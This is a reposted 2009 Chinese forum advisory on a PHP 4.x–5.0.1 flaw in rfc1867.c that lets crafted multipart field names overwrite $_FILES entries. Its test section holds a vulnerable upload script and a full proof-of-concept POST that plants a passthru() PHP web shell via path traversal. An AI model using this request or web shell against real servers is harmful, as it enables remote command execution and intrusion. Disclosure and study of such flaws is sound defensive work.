服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 4497|回复: 1

PHP未明远程任意文件上传漏洞

[复制链接]
dirtysea 发表于 2009-8-15 01:41:16 | 显示全部楼层 |阅读模式
PHP是一种流行的WEB服务器端编程语言。 PHP存在一个未明任意文件上传问题,远程攻击者可以利用这个漏洞上传任意文件到目标系统。

受影响系统:
PHP PHP 5.0.1
PHP PHP 5.0.0
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1pl2
PHP PHP 4.0.1pl1
PHP PHP 4.0.1
PHP PHP 4.0
描述:
--------------------------------------------------------------------------------

BUGTRAQ ID: 11190

PHP是一种流行的WEB服务器端编程语言。

PHP存在一个未明任意文件上传问题,远程攻击者可以利用这个漏洞上传任意文件到目标系统。

rfc1867.c中错误的数组解析,可导致覆盖$_FILES数组元素,攻击者可以上传恶意文件到系统中。目前没有详细漏洞细节提供。
--------------------------------------------------------------------------------
描述:BUGTRAQ  ID: 11190

PHP是一种流行的WEB服务器端编程语言。

PHP在处理RFC1867 MIME数据的时候存在漏洞,远程攻击者可以利用这个漏洞覆盖一些内存数据。

rfc1867.c中的SAPI_POST_HANDLER_FUNC()函数错误的数组解析,可导致覆盖$_FILES数组元素。如果Web程序信任上传的文件名的话,将导致恶意文件上传到任意目录。

测试方法:
  • -----file: upload.php------
  • <?php
  • // In PHP versions earlier than 4.1.0, $HTTP_POST_FILES should be used
  • instead
  • // of $_FILES.
  • $uploaddir = '/var/www/uploads/';
  • $uploadfile = $uploaddir . $_FILES['user_file']['name'];
  • print "<pre>";
  • if (is_uploaded_file($_FILES['user_file']['tmp_name']) && move_uploaded_file($_FILES['user_file']['tmp_name'], $uploadfile)) {
  •    print "File is valid, and was successfully uploaded. ";
  •    print "Here's some more debugging info:\n";
  •    print_r($_FILES);
  • } else {
  •    print "Possible file upload attack!  Here's some debugging info:\n";
  •    print_r($_FILES);
  • }
  • print "</pre>";
  • // for bbs.xdadmin.com
  • ?>
  • ----end file: upload.php------

复制代码 【注:此代码当前贴于 http://bbs.xdadmin.com
  • -----8<---form-------8<-----
  • POST /upload.php HTTP/1.1
  • Host: bbs.xdadmin.com
  • User-Agent: Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.6)
  • Gecko/20040115 Galeon/1.3.12
  • Accept:
  • text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
  • Accept-Language: en
  • Accept-Encoding: gzip, deflate, compress;q=0.9
  • Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  • Keep-Alive: 300
  • Connection: keep-alive
  • Referer:
  • Content-Type: multipart/form-data;
  • boundary=---------------------------1648318426118446961720965026
  • Content-Length: 395
  • -----------------------------1648318426118446961720965026
  • Content-Disposition: form-data; name="user[file[name]123";
  • filename="p.php"
  • Content-Type: ../html/passt.php
  • <?
  • passthru($_GET['cm']);
  • ?>
  • -----------------------------1648318426118446961720965026
  • Content-Disposition: form-data; name="user[file[type]123"; filename="vg"
  • Content-Type: application/octet-stream
  • <?
  • passthru($_GET['cm']);
  • ?>
  • -----8<---endform----8<-----

复制代码 【注:此代码当前贴于 http://bbs.xdadmin.com
您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-4-29 22:37 , Processed in 0.197796 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表